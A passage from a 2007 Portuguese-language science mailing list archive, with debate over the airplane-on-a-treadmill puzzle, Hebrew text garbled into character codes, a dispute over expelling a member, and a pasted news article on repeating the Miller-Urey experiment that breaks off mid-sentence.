(amor de deus) tem uma característica fundamental:

A ENERGIA UNIVERSAL É UMA FORÇA CEGA.

Assim como a companhia elétrica fornece eletricidade
independente do uso que o usuário irá fazer da
eletricidade, assim o ser universal (deus) também
fornece seu amor para todos os seres criarem e
alimentarem o comportamento que bem entenderem. A
energia universal é cega para o uso que os seres fazem
dela. Ou seja, podemos usar a energia universal tanto
para amar o próximo como para odiá-los. Podemos usar a
energia universal tanto para criar espaçonaves como
bombas atômicas. Podemos usar a energia universal
tanto para tomar banho quente de chuveiro como para
matar pessoas eletrocutadas.

O AMOR DE DEUS SEMPRE APÓIA TODOS OS SERES EM QUALQUER
OBJETIVO.

http://lampadadealadim.blogspot.com

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SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 21:42

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu

> E tem outras q vc tb não respondeu: O que é "apontar" e o que é "ver"?

Manuel: Bem, adiantando-me ao Ferrari, respondo que "ver", de acordo
com um dos expoentes do iluminismo judaico (Haskalá) Moses Gurion,
significa:

&#1492;&#1502;&#1512;&#1499;&#1494; &#1500;&#1492;&#1513;&#1499;&#1500;&#1492; &#1493;&#1495;&#1497;&#1504;&#1493;&#1498; &#1488;&#1493;&#1500;&#1497;&#1502;&#1508;&#1497;&#1497;&#1501; &#1506;&#1501; &#1502;&#1490;&#1502;&#1492; &#1505;&#1508;&#1493;&#1512;&#1496;&#1497;&#1489;&#1497;&#1514; &#1492;&#1493;&#1502;&#1504;&#1497;&#1505;&#1496;&#1497;&#1514;.
&#1502;&#1496;&#1512;&#1493;&#1514; &#1492;&#1508;&#1506;&#1497;&#1500;&#1493;&#1514; &#1492;&#1506;&#1497;&#1511;&#1512;&#1497;&#1493;&#1514; &#1513;&#1500;&#1504;&#1493;
&#1488;&#1504;&#1493; &#1488;&#1512;&#1490;&#1493;&#1503; &#1495;&#1489;&#1512;&#1514;&#1497; &#1500;&#1500;&#1488; &#1499;&#1493;&#1493;&#1504;&#1493;&#1514; &#1512;&#1493;&#1493;&#1495; &#1513;&#1502;&#1496;&#1512;&#1514;&#1493; &#1492;&#1506;&#1497;&#1511;&#1512;&#1497;&#1514; &#1492;&#1497;&#1488; &#1505;&#1497;&#1493;&#1506; &#1500;&#1492;&#1513;&#1499;&#1500;&#1492;
&#1492;&#1488;&#1493;&#1500;&#1497;&#1502;&#1508;&#1497;&#1514; , &#1493;&#1500;&#1492;&#1513;&#1499;&#1500;&#1492; &#1493;&#1500;&#1495;&#1497;&#1504;&#1493;&#1498; &#1513;&#1500; &#1497;&#1500;&#1491;&#1497;&#1501; &#1493;&#1504;&#1493;&#1506;&#1512; &#1489;&#1497;&#1513;&#1512;&#1488;&#1500;.
&#1502;&#1496;&#1512;&#1492; &#1494;&#1493; &#1499;&#1493;&#1500;&#1500;&#1514; &#1490;&#1501; &#1495;&#1511;&#1512;, &#1492;&#1508;&#1510;&#1492;, &#1508;&#1493;&#1508;&#1493;&#1500;&#1512;&#1497;&#1494;&#1510;&#1497;&#1492; &#1493;&#1511;&#1497;&#1491;&#1493;&#1501; &#1492;&#1506;&#1512;&#1499;&#1497;&#1501; &#1492;&#1492;&#1493;&#1502;&#1504;&#1497;&#1505;&#1496;&#1497;&#1497;&#1501;,
&#1506;&#1511;&#1512;&#1493;&#1504;&#1493;&#1514; &#1493;&#1488;&#1497;&#1491;&#1497;&#1488;&#1500;&#1497;&#1501; &#1513;&#1500; &#1492;&#1514;&#1504;&#1493;&#1506;&#1492; &#1492;&#1488;&#1493;&#1500;&#1497;&#1502;&#1508;&#1497;&#1514; &#1493;&#1492;&#1502;&#1513;&#1495;&#1511;&#1497;&#1501; &#1492;&#1488;&#1493;&#1500;&#1497;&#1502;&#1508;&#1497;&#1497;&#1501;.

&#1492;&#1514;&#1493;&#1499;&#1504;&#1497;&#1493;&#1514; &#1493;&#1508;&#1512;&#1493;&#1497;&#1511;&#1496;&#1497;&#1501; &#1513;&#1508;&#1493;&#1514;&#1495;&#1493; &#1493;&#1492;&#1493;&#1504;&#1492;&#1490;&#1493; &#1506;&#1500; &#1497;&#1491;&#1497;&#1504;&#1493; &#1497;&#1493;&#1510;&#1512;&#1497;&#1501; &#1514;&#1504;&#1488;&#1497;&#1501; &#1504;&#1488;&#1493;&#1514;&#1497;&#1501; &#1500;&#1492;&#1514;&#1508;&#1514;&#1495;&#1493;&#1514;
&#1502;&#1493;&#1505;&#1512;&#1497;&#1514;,&#1488;&#1505;&#1514;&#1496;&#1497;&#1514;, &#1488;&#1497;&#1504;&#1496;&#1500;&#1511;&#1496;&#1493;&#1488;&#1500;&#1497;&#1514; &#1493;&#1490;&#1493;&#1508;&#1504;&#1497;&#1514; &#1513;&#1500; &#1492;&#1497;&#1500;&#1491;, &#1500;&#1490;&#1497;&#1489;&#1493;&#1513;&#1493; &#1499;&#1488;&#1497;&#1513;&#1497;&#1493;&#1514; &#1506;&#1510;&#1502;&#1488;&#1497;&#1514;
&#1497;&#1510;&#1497;&#1512;&#1514;&#1497;&#1514; &#1513;&#1513;&#1493;&#1488;&#1508;&#1514; &#1500;&#1502;&#1510;&#1493;&#1497;&#1504;&#1493;&#1514; &#1493;&#1500;&#1513;&#1497;&#1508;&#1493;&#1512; &#1506;&#1510;&#1502;&#1497;, &#1491;&#1489;&#1512; &#1502;&#1488;&#1508;&#1513;&#1512; &#1500;&#1513;&#1514;&#1507; &#1488;&#1514; &#1492;&#1497;&#1500;&#1491;&#1497;&#1501; &#1493;&#1492;&#1504;&#1506;&#1493;&#1512;
&#1489;&#1488;&#1493;&#1512;&#1495; &#1495;&#1497;&#1497;&#1501; &#1489;&#1512;&#1497;&#1488;, &#1508;&#1506;&#1497;&#1500;&#1493;&#1514; &#1505;&#1508;&#1493;&#1512;&#1496;&#1497;&#1489;&#1497;&#1514; &#1488;&#1511;&#1496;&#1497;&#1489;&#1497;&#1514;, &#1488;&#1493;&#1502;&#1504;&#1493;&#1514; &#1493;&#1508;&#1506;&#1497;&#1500;&#1493;&#1514; &#1512;&#1493;&#1495;&#1504;&#1497;&#1514; &#1488;&#1495;&#1512;&#1514;,
&#1500;&#1508;&#1514;&#1495; &#1497;&#1499;&#1493;&#1500;&#1493;&#1514; &#1489;&#1505;&#1493;&#1490;&#1497; &#1505;&#1508;&#1493;&#1512;&#1496; &#1513;&#1493;&#1504;&#1497;&#1501;, &#1493;&#1500;&#1492;&#1508;&#1493;&#1498; &#1500;&#1488;&#1497;&#1513;&#1497;&#1493;&#1514; &#1492;&#1512;&#1502;&#1493;&#1504;&#1497;&#1514; &#1497;&#1493;&#1514;&#1512; &#1489;&#1488;&#1502;&#1510;&#1506;&#1493;&#1514;
&#1500;&#1497;&#1502;&#1493;&#1491;&#1497; &#1488;&#1493;&#1502;&#1504;&#1493;&#1514; &#1493;&#1502;&#1505;&#1493;&#1512;&#1514; &#1513;&#1500; &#1506;&#1502;&#1497; &#1492;&#1506;&#1493;&#1500;&#1501;.

&#1489;&#1488;&#1514;&#1512; &#1494;&#1492; &#1514;&#1493;&#1499;&#1500;&#1493; &#1500;&#1511;&#1489;&#1500; &#1502;&#1497;&#1491;&#1506; &#1506;&#1500; &#1492;&#1508;&#1506;&#1497;&#1500;&#1493;&#1514; &#1513;&#1500;&#1504;&#1493;, &#1492;&#1513;&#1493;&#1514;&#1508;&#1497;&#1501; &#1513;&#1500;&#1504;&#1493; &#1493;&#1492;&#1514;&#1493;&#1499;&#1504;&#1497;&#1493;&#1514; &#1513;&#1500;&#1504;&#1493;
&#1500;&#1506;&#1514;&#1497;&#1491;.
&#1504;&#1513;&#1502;&#1495; &#1500;&#1513;&#1514;&#1507; &#1508;&#1506;&#1493;&#1500;&#1492; &#1506;&#1501; &#1499;&#1500; &#1490;&#1493;&#1512;&#1502;&#1497; &#1492;&#1505;&#1508;&#1493;&#1512;&#1496; &#1493;&#1492;&#1495;&#1497;&#1504;&#1493;&#1498;, &#1495;&#1489;&#1512;&#1493;&#1514; &#1502;&#1505;&#1495;&#1512;&#1497;&#1493;&#1514; &#1493;&#1488;&#1504;&#1513;&#1497;&#1501;
&#1508;&#1512;&#1496;&#1497;&#1497;&#1501; – &#1488;&#1493;&#1492;&#1491;&#1497; &#1505;&#1508;&#1493;&#1512;&#1496; &#1493;&#1504;&#1493;&#1514;&#1504;&#1497; &#1495;&#1505;&#1493;&#1514; &#1513;&#1502;&#1489;&#1497;&#1504;&#1497;&#1501; &#1488;&#1514; &#1492;&#1495;&#1513;&#1497;&#1489;&#1493;&#1514; &#1513;&#1500; &#1492;&#1492;&#1514;&#1508;&#1514;&#1495;&#1493;&#1514; &#1492;&#1495;&#1497;&#1504;&#1493;&#1498;
&#1492;&#1488;&#1493;&#1500;&#1497;&#1502;&#1508;&#1497; &#1493;&#1514;&#1504;&#1493;&#1506;&#1492; &#1505;&#1508;&#1493;&#1512;&#1496;&#1497;&#1489;&#1497;&#1514; &#1492;&#1493;&#1502;&#1504;&#1497;&#1505;&#1496;&#1497;&#1514; &#1489;&#1488;&#1512;&#1510;&#1504;&#1493;.

Abraços,
Manuel Bulcão




SUBJECT: Re: [ciencialist] RE: Murilo: Como funciona o processo...?
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/04/2007 21:49

Elas ocorrerão dentro do período regulamentar de 24 horas ou serão separadas, em períodos diferentes? 12 horas cada um? Tentei falar com meu guia mas ele está ocupado psicografando para o Paulo Coelho.

silvio
----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 5:06 PM
Subject: Re: [ciencialist] RE: Murilo: Como funciona o processo...?


Sempre é bom recordar o 'espírito da Ciência'; vejamos:

De acordo com os astrônomos na próxima semana ocorrerão duas quartas-feiras. Segundo eles isso acontece a cada 60 mil anos e, embora não saibam o motivo, estão felizes por ter um dia a mais para tentar descobrir.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Jeff" <jeff@jeff.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 2 de abril de 2007 15:13
Assunto: Re: [ciencialist] RE: Murilo: Como funciona o processo...?

>
> Murilo >>> Prá mim, um proto-hyppie, um sítio ainda
> está faltando em minha vida.
>

Acho que também sou um "proto-hyppie" :-) Meu objetivo é, um dia, comprar um
sítio e poder morar nele.

>
> Ferrari >>> Já tentou um acordo com a Agente Smith? O Cifer
> consegiu uma fazenda no Arizona que é uma beleza.
>

Hmmmm... Eu estava reconhecendo as suas idéias de algum lugar... :-) Você
acredita que vivemos em algo como a Matrix e que só você conseguiu se
libertar dela para "ver" a verdade... Que tudo é controlado por um deus, que
funciona como o Arquiteto da Matrix... "A colher não existe", é só um mapa
mental que "Deustrix" colocou na minha cabeça! :-)

Bom, não posso provar que isso é impossível mas, usando a navalha de Ockhan:
se não precisa existir, é mais provável que não exista.

Podemos inventar N realidades... Se você ainda não assistiu, assista "O 13º
andar", muito interessante.

Pode até te fazer "mudar de realidade" :-)

[]´,s
Jeff.

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SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 21:53

Ué! Enviei o texto do Moses Gurion na escrita hebraica e o que surgiu
forem esses &#1492;&#1502;&#1512;&#1499;&#1494...!





SUBJECT: Re: [ciencialist] Balanço do avião
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/04/2007 22:16

Adeilson, esse é o começo, pode continuar aventando as possibilidades do
problema que tem em seu enunciado uma relação importante: a velocidade do
avião é a mesma da esteira.
[]s
JR
.......................................................
From: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 03, 2007 3:10 AM
Subject: Re: [ciencialist] Balanço do avião


>
> Eu nao cheguei a acompanhar a discussao que me pareceu debandar para a
> briga. Porem, agora, resolvo meter meus "bedelhos". Se o aviao voa ou nao,
> independera da velocidade da correia, pois o que faz o aviao levantar voo
> é
> a velocidade do ar sob suas asas que gerara a sustentacao no ar do
> veiculo.
> Quanto ao conceito, acho que estou correto, so nao sei se ha alguma
> incongruencia com a situacao apresentada.
>
> Abracos,
>
> Adeilson Moreira Junior
> ----- Original Message -----
> From: "José Renato" <jrma@terra.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Sunday, April 01, 2007 10:41 PM
> Subject: [ciencialist] Balanço do avião
>
>
> Será que numa próxima oportunidade, que voltar a discussão sobre o
> problema
> do avião se deslocando sobre uma esteira, as pessoas vão pensar melhor a
> questão ou vão continuar com as mesmas posições? No início havia confusão
> e
> dúvidas. Depois que Luiz apresentou seu esquema, os indecisos se
> convenceram
> que voa, Victor e Ricardo entre eles. Takata concluiu que depende. Luiz
> ficou quieto. Victor e Ricardo calaram. Homero, não apegou-se a uma das
> opões e fechou-se aos argumentos que apresentei em relação a uma outra
> opção, até que desistiu... E o problema se esvaiu sem maiores conclusões
> firmadas.
> Qual seria o balanço das opiniões afinal?
>
> 1. Voa sim, com o dobro da velocidade da correia.
>
> 2. Voa sim, qualquer que seja a velocidade da correia
>
> 3. Não voa, qualquer que seja a velocidade da correia.
>
> 4. Voa ou não, dependendo do ponto de referência para a medição da
> velocidade do avião: voa quando é medida em relação ao solo; não voa
> quando
> é medida em relação à correia.
>
> 5. Nenhuma das respostas acima. (Para quem escolher essa opção, parece-me
> importante indicar qual seria sua resposta.)
>
> Abraços
>
> José Renato
>
> [As partes desta mensagem que não continham texto foram removidas]
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>



SUBJECT: P/ Manuel, texto em hebraico - Re: Takata: Sobre o Método Cientifico -
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 22:16

Olá Manuel

Apenas se um computador tiver o conjunto de caracteres corretos, nesse
caso hebraico, é que seria possível ler sua mensagem. E mesmo assim,
apenas copiar e colar na mensagem de email não funcionaria e estes
números estranhos, os equivalentes simbólicos destes caracteres, é que
são apresentados.

Pode colocar o texto em uma página web e nos enviar o link, assim
escolhemos o conjunto de caracteres para instalar e visualizar
corretamente.

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
<manuelbulcao@...> escreveu
>
> Ué! Enviei o texto do Moses Gurion na escrita hebraica e o que surgiu
> forem esses &#1492;&#1502;&#1512;&#1499;&#1494...!
>




SUBJECT: Re: Balanço do avião
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 22:21

Olá Jose Renato

Que teimosia..:-)

Renato: "que tem em seu enunciado uma relação importante: a velocidade
do avião é a mesma da esteira."

A mesma "em relação ao chão", e você se deixa enganar por isso todas
as vezes. O avião se move "para frente", pois não pode deixar de
faze-lo. Nesse momento em que o avião SE MOVE PARA FRENTE, a esteira
se move para trás, na mesma velocidade EM RELAÇÃO AO CHÃO. Em relação
ao avião ela se move no dobro da velocidade em relação ao chão, pois
este está SE MOVENDO para frente.

Entretanto, o movimento da esteira é IRRELEVANTE ao processo de
decolagem, pois não tem capacidade de aplicar força NENHUMA ao avião.

Assim, o avião se move em relação ao ar e DECOLA, não importa o que a
esteira faça.

É simples, e é claro, se não se deixar enganar pelo "red hering" da
esteira que se move para trás.

Homero


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Adeilson, esse é o começo, pode continuar aventando as
possibilidades do
> problema que tem em seu enunciado uma relação importante: a
velocidade do
> avião é a mesma da esteira.
> []s
> JR
> .......................................................
> From: "Adeilson Moreira Junior" <adeilsonmoreirajr@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, April 03, 2007 3:10 AM
> Subject: Re: [ciencialist] Balanço do avião
>
>
> >
> > Eu nao cheguei a acompanhar a discussao que me pareceu debandar
para a
> > briga. Porem, agora, resolvo meter meus "bedelhos". Se o aviao voa
ou nao,
> > independera da velocidade da correia, pois o que faz o aviao
levantar voo
> > é
> > a velocidade do ar sob suas asas que gerara a sustentacao no ar do
> > veiculo.
> > Quanto ao conceito, acho que estou correto, so nao sei se ha alguma
> > incongruencia com a situacao apresentada.
> >
> > Abracos,
> >
> > Adeilson Moreira Junior
> > ----- Original Message -----
> > From: "José Renato" <jrma@...>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Sunday, April 01, 2007 10:41 PM
> > Subject: [ciencialist] Balanço do avião
> >
> >
> > Será que numa próxima oportunidade, que voltar a discussão sobre o
> > problema
> > do avião se deslocando sobre uma esteira, as pessoas vão pensar
melhor a
> > questão ou vão continuar com as mesmas posições? No início havia
confusão
> > e
> > dúvidas. Depois que Luiz apresentou seu esquema, os indecisos se
> > convenceram
> > que voa, Victor e Ricardo entre eles. Takata concluiu que depende.
Luiz
> > ficou quieto. Victor e Ricardo calaram. Homero, não apegou-se a
uma das
> > opões e fechou-se aos argumentos que apresentei em relação a uma outra
> > opção, até que desistiu... E o problema se esvaiu sem maiores
conclusões
> > firmadas.
> > Qual seria o balanço das opiniões afinal?
> >
> > 1. Voa sim, com o dobro da velocidade da correia.
> >
> > 2. Voa sim, qualquer que seja a velocidade da correia
> >
> > 3. Não voa, qualquer que seja a velocidade da correia.
> >
> > 4. Voa ou não, dependendo do ponto de referência para a medição da
> > velocidade do avião: voa quando é medida em relação ao solo; não voa
> > quando
> > é medida em relação à correia.
> >
> > 5. Nenhuma das respostas acima. (Para quem escolher essa opção,
parece-me
> > importante indicar qual seria sua resposta.)
> >
> > Abraços
> >
> > José Renato
> >
> > [As partes desta mensagem que não continham texto foram removidas]
> >
> >
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> >
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>




SUBJECT: Re: [ciencialist] Balanço do avião
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/04/2007 22:22

Luiz, escreveu: [ Para o avião levantar vôo só interessa sua velocidade em
relação ao ar (e se o ar estiver 'parado', obviamente em relação à terra,
solo, pista, o que dá tudo na mesma.). ]
....................................................................

Terra, solo, pista... Faltou especificar a velocidade do avião em relação à
esteira, item importante que vc não mencionou na resposta ao Adeilson.
[]s
JR
...........................................

From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 03, 2007 10:12 AM
Subject: Re: [ciencialist] Balanço do avião


Olá Adeilson,

a idéia é essencialmente essa. Para fixar a situação pense num túnel de
vento. Lá está o 'modelo' de nosso avião suspenso na horizontal por três
fios de linha e esses três fios terminam por fixar-se no prato de uma
balança. Tudo equilibrado, começamos a aumentar a velocidade do vento contra
o modelo. Numa dada velocidade já se pode sentir, pela leitura na balança, a
diminuição do peso aparente (peso real - impulsão vertical determinada pelo
vento). Numa outra dada velocidade a balança acusa peso aparente ZERO. O
'avião' voa.
Nessa fase, se vc adaptar uma fita horizontal para tocar nas rodinhas por
baixo, poderá fazer as rodinhas girarem na velocidade (e sentido) que
quiser, sem interferir no 'equilíbrio do avião'.
A energia de rotação adquirida pelas rodas terá sido transferida pelo
trabalho das forças de atrito entre fita e roda; o atrito realiza trabalho
motor. Todavia, em confronto com o peso do 'avião' essa força de atrito é
desprezível e não afetará o número de Reynolds que se obtém dessa
experimentação.
Para o avião levantar vôo só interessa sua velocidade em relação ao ar (e se
o ar estiver 'parado', obviamente em relação à terra, solo, pista, o que dá
tudo na mesma.).


[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 3 de abril de 2007 03:10
Assunto: Re: [ciencialist] Balanço do avião



Eu nao cheguei a acompanhar a discussao que me pareceu debandar para a
briga. Porem, agora, resolvo meter meus "bedelhos". Se o aviao voa ou nao,
independera da velocidade da correia, pois o que faz o aviao levantar voo é
a velocidade do ar sob suas asas que gerara a sustentacao no ar do veiculo.
Quanto ao conceito, acho que estou correto, so nao sei se ha alguma
incongruencia com a situacao apresentada.

Abracos,

Adeilson Moreira Junior
----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 01, 2007 10:41 PM
Subject: [ciencialist] Balanço do avião


Será que numa próxima oportunidade, que voltar a discussão sobre o problema
do avião se deslocando sobre uma esteira, as pessoas vão pensar melhor a
questão ou vão continuar com as mesmas posições? No início havia confusão e
dúvidas. Depois que Luiz apresentou seu esquema, os indecisos se convenceram
que voa, Victor e Ricardo entre eles. Takata concluiu que depende. Luiz
ficou quieto. Victor e Ricardo calaram. Homero, não apegou-se a uma das
opões e fechou-se aos argumentos que apresentei em relação a uma outra
opção, até que desistiu... E o problema se esvaiu sem maiores conclusões
firmadas.
Qual seria o balanço das opiniões afinal?

1. Voa sim, com o dobro da velocidade da correia.

2. Voa sim, qualquer que seja a velocidade da correia

3. Não voa, qualquer que seja a velocidade da correia.

4. Voa ou não, dependendo do ponto de referência para a medição da
velocidade do avião: voa quando é medida em relação ao solo; não voa quando
é medida em relação à correia.

5. Nenhuma das respostas acima. (Para quem escolher essa opção, parece-me
importante indicar qual seria sua resposta.)

Abraços

José Renato

[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] PEDIDO DE EXCLUSAO
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/04/2007 22:26

Silvio, é nessas horas que os homens se diferenciam dos meninos...
[]s
JR
.......................................

From: "Silvio Cordeiro" <scordeiroes@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 03, 2007 11:47 AM
Subject: Re: [ciencialist] PEDIDO DE EXCLUSAO


Renato:

Eu sou um sos participantes mais censurados do grupo tanto pela irreverência
como pela colocação de textos off-toppic. E sempre que censurado, peço
desculpas, aceito o puxam de orelhas.
Agora, solicitar a saída de um companheiro do quilate do Ferrari, sem
maiores considerações sobre a pessoa e intelectualidade dele, é apenas um
ato não democrático.
Como o grupo é moderado, que os moderadores, que são os proprietários da
lista, que usem de suas prerrogativas.
Pedir, por motivos ideológicos a defenestração de um companheiro é negar o
próprio nome da lista.

sds.,
silvio.
................................................

----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 11:46 PM
Subject: Re: [ciencialist] PEDIDO DE EXCLUSAO


Olá, Luiz! O Ferrari está dialogando com os listeiros porque os listeiros
estão interagindo com ele. Se não fosse do interesse do grupo, nenhum
listeiro responderia ou tentaria contra argumentar. Ele tem uma visão mais
livre da realidade, diferente das mesmices dos livros didáticos impostos
aos
nossos estudantes. Não acredito que a exclusão proposta por vc vá melhorar
a
objetividade dos listeiros que interagem intensamente com ele e - como não
conseguem impor seus argumentos científicos - ficam reclamando que ele não
diz coisa com coisa, que a lista não tem mais ciência e outras desculpas
que
sirvam de motivo para moderá-lo ou excluí-lo da lista. Isso não me parece
ser uma atitude nobre. Nem científica.
[]s
José Renato
.............................................

----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 02, 2007 5:56 PM
Subject: [ciencialist] PEDIDO DE EXCLUSAO

Senhores do C-List,

com base nas papagaiadas dessa mensagem (adicionada às dezenas de
anteriores) e tendo-se em vista que C-List é muito lida e avaliada por
muitos, proponho, para que não caiamos no escárnio de nossos leitores, a
exclusão do Sr. Ferrari desta lista. Se necessário, daremos "cartas de
recomendação" para outras listas que estejam dispostas a lerem suas
'profundas manifestações filosóficas'.

Já tenho até receio de falar em Ciência nessa lista!

No aguardo,

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 2 de abril de 2007 14:00
Assunto: [ciencialist] RE: Murilo: Como funciona o processo...?

Olá Murilo Anderson!

Murilo >>> Acho bom a gente ter cuidado, pq já
brigamos antes e meu tempo é curto.

--- Mr. Anderson, tá com pressa de chegar a onde?
Hehehehe... Relaxa: qualquer lugar que vc chegar será
apenas um lugar qualquer.

Murilo >>> Eu posso sim decidir não exercitar minha
dialética.

--- Sim, isto é o que o Mr. Anderson pensa.

Murilo >>> Há que existir um mínimo de base filosófica
p/esse tipo de papo, vc sabe.

--- Não é base filosofica, é consciencial.

Murilo >>> "Livre arbítrio" existe sim, vc não poderá
negar.

--- Mr. Anderson, não estou dizendo que não existe o
processo do livre-arbítrio. Sim, existe. O que estou
dizendo é que não existe o processo do livre-arbítrio
tal qual os espíritas, os católicos, e até mesmo os
ateus o compreendem e definem. Ou seja, não existe
livre-arbítrio na ação. O livre-arbítrio é um processo
do espírito (consciencia) e não dá mente (cérebro).

Murilo >>> A metáfora do Orlando se deve às diferenças
entre os mundos dos interlocutores.

--- Hehehehehe... Já ouviu o termo "loucura
controlada". Foi o carlos castanheda que invetou. Me
sinto assim, controlado entre uma loucura e outra.

--- Observe isto aqui: O dificil não é ser louco. Ser
louco é fácil, é natural, o dificil é ser normal.
Abrimos a mão e a pedra cai. Não é preciso esforço
para ser natural, só é preciso esforço para ser
cultural.

Murilo >>> Prá mim, um proto-hyppie, um sítio ainda
está faltando em minha vida.

--- Já tentou um acordo com a Agente Smith? O Cifer
consegiu uma fazenda no Arizona que é uma beleza.

Murilo >>> Que eternidade é esta que não tarda nem
falha?

--- Alguma vez vc já testemunhou uma dia que não
trouxesse uma noite? Ou uma noite que não trouxesse um
dia? Alguma vez vc já testemunhou uma hora que não
tivesse 60 minutos? Um minuto que não tivesse 60
seguntos, e assim por diante...

--- Eis ai a eternidade que não tarda nem falha.

a woman with red dress pra vc
abç. ferrari

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SUBJECT: Re: Balanço do avião
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 22:52

Olá

Renato: "Terra, solo, pista... Faltou especificar a velocidade do
avião em relação à esteira, item importante que vc não mencionou na
resposta ao Adeilson.
[]s"

Ele não esqueceu, ele não mencionou porque é irrelevante, totalmente
irrelevante. É um "red hering", não entra na equação de forças
envolvidas na decolagem.

Está se deixando enganar pelo fato de que o avião tem "rodas", e em
sua cabeça, rodas servem para mover o avião, portanto, se a esteira
"rola para tras", deve impedir que o avião rode para frente. Mas não
impede. As rodas em um avião são equipamentos para "desligar" o avião
do solo (ou da esteira neste caso).

Faça o que fizer a esteira, o avião decola e pronto.

Homero




SUBJECT: Primordial Soup's On: Scientists Repeat Evolution's Most Famous Experiment
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 23:17

Primordial Soup's On: Scientists Repeat Evolution's Most Famous Experiment
Their results could change the way we imagine life arose on early Earth
By Douglas Fox

A Frankensteinesque contraption of glass bulbs and crackling
electrodes has produced yet another revelation about the origin of life.

The results suggest that Earth's early atmosphere could have produced
chemicals necessary for life—contradicting the view that life's
building blocks had to come from comets and meteors. "Maybe we're
over-optimistic, but I think this is a paradigm shift," says chemist
Jeffrey Bada, whose team performed the experiment at the Scripps
Institution of Oceanography in La Jolla, Calif.

Bada was revisiting the famous experiment first done by his mentor,
chemist Stanley Miller, at the University of Chicago in 1953. Miller,
along with his colleague Harold Urey, used a sparking device to mimic
a lightning storm on early Earth. Their experiment produced a brown
broth rich in amino acids, the building blocks of proteins. The
disclosure made the pages of national magazines and showed that
theories about the origin of life could actually be tested in the
laboratory.

But the Miller-Urey results were later questioned: It turns out that
the gases he used (a reactive mixture of methane and ammonia) did not
exist in large amounts on early Earth. Scientists now believe the
primeval atmosphere contained an inert mix of carbon dioxide and
nitrogen—a change that made a world of difference.

When Miller repeated the experiment using the correct combo in 1983,
the brown broth failed to materialize. Instead, the mix created a
colorless brew, containing few amino acids. It seemed to refute a
long-cherished icon of evolution—and creationists quickly seized on it
as supposed evidence of evolution's wobbly foundations.

But Bada's repeat of the experiment—armed with a new insight—seems
likely to turn the tables once again.

Bada discovered that the reactions were producing chemicals called
nitrites, which destroy amino acids as quickly as they form. They were
also turning the water acidic—which prevents amino acids from forming.
Yet primitive Earth would have contained iron and carbonate minerals
that neutralized nitrites and acids. So Bada added chemicals to the
experiment to duplicate these functions. When he reran it, he still
got the same watery liquid as Miller did in 1983, but this time it was
chock-full of amino acids. Bada presented his results this week at the
American Chemical Society annual meeting in Chicago.

"It's important work," says Christopher McKay, a planetary scientist
at NASA Ames Research Center in Moffett Field, Calif. "This is a move
toward more realism in terms of what the conditions were on early Earth."

Most researchers believe that the origin of life depended heavily on
chemicals delivered to Earth by comets and meteorites. But if the new
work holds up, it could tilt that equation, says Christopher Chyba, an
astrobiologist at Princeton University. "That would be a terrific
result for understanding the origin of life," he says, "and for
understanding the prospects for life elsewhere."

But James Ferris, a prebiotic chemist at Rensselaer Polytechnic
Institute in Troy, N.Y., doubts that atmospheric electricity could
have been the only source of organic molecules. "You get a fair amount
of amino acids," he says. "What you don't get are things like building
blocks of nucleic acids." Meteors, comets or primordial ponds of
hydrogen cyanide would still need to provide those molecules.

Bada's experiment could also have implications for life on Mars,
because the Red Planet may have been swaddled in nitrogen and carbon
dioxide early in its life. Bada intends to test this extrapolation by
